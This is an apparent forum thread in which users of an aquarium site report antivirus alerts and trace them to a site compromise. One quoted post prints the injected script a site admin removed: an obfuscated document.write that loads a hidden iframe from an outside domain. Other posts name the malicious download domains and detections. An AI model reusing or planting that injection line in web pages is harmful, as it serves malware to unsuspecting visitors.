AA main page...Trojan?

[Rach101]

I have had my laptop lock up from such, and I run FireFox

[HiJaC]

Originally Posted by ddcarnage

Ok I'm not sure if this is going to help you guys but I've solved my problem. I had been hacked because of a vulnerability in a third party php script I was using some time ago.

I seems that when my system was comprimised, the hackers modified a very important php file in my message board system to print the following :

document.write("<ifr"+"ame src=http://goo"+"gler"+"ank.info/cou"+"nter width=1 height=1 style=displ"+"ay:none></ifra"+"me>");

Removing that solved the virus problem.

Cheers and good luck.

If this works I think there should be an aquarium advice poety competition in honour of our helpful friend.

"An ode to my Dwarf Cichlid"

John

[Kurt_Nelson]

Originally Posted by ddcarnage

Hello,

I'm the admin of a poetry website (lapassiondespoemes.com). We're running a totally custom message board system and we've been having the exact same problem. I found this thread on google while searching for info on the problem.

Users reported files being downloaded from s99.winmplayer.com at first. Now it seems to have switched to s99.msiesettings.com.

I'll post more info here if ever I find any...

Frank

Just stumbled on this thread...

I can report the same issue regarding the domains noted above. I *think* it's the same issue AA had on their main page several months ago... some bad code in a counter or a compromised banner ad?

My Norton Firewall picked it up, and I'm running Firefox with totally up-to-date Vista32. Just thought I'd pass it on.

[qwaz01]

Just wanted to report the same problem....

PC1 - Windows XP , IE7, AVG 7.5
PC2 - Vista Business, IE7, Sophos AV

Both pc's report 3 viruses and cause my pc to slow right down for approx 3 minutes while they are removed.

[Kurt_Nelson]

Originally Posted by Kurt_Nelson

Just stumbled on this thread...

I can report the same issue regarding the domains noted above. I *think* it's the same issue AA had on their main page several months ago... some bad code in a counter or a compromised banner ad?

My Norton Firewall picked it up, and I'm running Firefox with totally up-to-date Vista32. Just thought I'd pass it on.

Actually... what I meant to say, but failed to type it (!), was that I had this problem right around the same time "Frank" did. But it was only for a day. I'm not picking up any issues at this time. Because it's an on again, off again thing, that's why I'm thinking it's tied into one of the rotating banners, or a counter - something that isn't hard coded on your server. Someone is hacking into code that's being linked into AA... not AA itself.

[Fishyfanatic]

I took note yesterday that when it popped up the Aquarium Guys banner was at the top. When I refreshed again to the Aquarium Guys banner it didn't cause the alert.

[Kurt_Nelson]

I take back my previous comment. NAV firewall blocked it again tonight:

Details: Attempted Intrusion "HTTP WebViewFolderIcon SetSlice BO" against your machine was detected and blocked.
Intruder: s99.msiesettings.com(http(80)).

You might check out this thread...

http://forum.powweb.com/showthread.php?p=426599

Sounds like they got rid of it. (And AA got a plug too!)

[SparKy697]

This seems to be getting worse for me. I can not visit a single page on the aa site without getting a virus detect message. Here is the info on the virus that is being blocked on my machine:

http://us.mcafee.com/virusInfo/defau...virus_k=139961

I use IE and have only experienced this on the aa site....

[Hoovercat]

I've been getting various quarantines here using IE 7 and webroot Spysweeper. Today it quarantined the same virus nomerous times on different forum pages.

JS/CryptDown-A

[ccCapt]

I get this now on EVERY page on AA.
Kaspersky Internet Security 6
detected: Trojan program Trojan-Downloader.VBS.Small.do
URL: http://www.gpt-pal.com/scripts/templ...Crypt.DCScript